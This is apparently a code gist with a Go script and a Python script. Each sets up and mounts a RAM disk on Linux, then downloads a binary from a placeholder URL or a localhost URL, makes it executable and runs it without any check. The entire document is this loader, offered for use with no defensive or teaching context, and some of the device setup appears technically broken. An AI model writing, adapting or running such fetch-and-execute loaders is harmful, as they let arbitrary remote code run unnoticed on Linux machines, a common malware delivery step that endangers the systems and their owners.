A golang Script that downloads a binary executable and runs it from memory under linux

run_from_mem.go

package main
import (
"os"
"os/exec"
"io/ioutil"
"net/http"
)
func main(){
        if _, err := os.Stat("/dev/ram0"); err == nil {
           exec.Command("mkfs.vfat","/dev/ram0","8192").Run() //exe size in bytes you can overshoot
        }else{
          exec.Command("mknod","-m","660","/dev/ram0","b","1","0").Run()
          exec.Command("chown","ram:disk","/dev/ram0").Run()
        }
        exec.Command("mkdir","rammount").Run()
        exec.Command("mount","/dev/ram0","rammount").Run()

        response, _ := http.Get("http://urltoexe")
        body, _ := ioutil.ReadAll(response.Body)
        ioutil.WriteFile("rammount/exe", body, 0644)

        exec.Command("chmod","+x","rammount/exe").Run()
        exec.Command("./rammount/exe").Run()
}

run_from_mem.py

#!/usr/bin/env python
#same script but in python

import os
import requests as re # you can replace this with urllib2 if you want just the standerd library

if os.path.exists("/dev/ram0"):
   os.popen("mkfs -q /dev/ram0 8192 ") #size in bytes
else:
  os.popen("mknod -m 660 /dev/ram0 b 1 0")
  os.popen("chown ram:disk /dev/ram0 ")

os.mkdir("rammount")
os.popen("mount -t ramfs -o size=8M,maxsize=8M /dev/ram0 rammount")
exe=re.get("http://localhost:8000/z").content
open("rammount/exe","wb+").write(exe)
os.popen("chmod +x rammount/exe")
os.popen("./rammount/exe")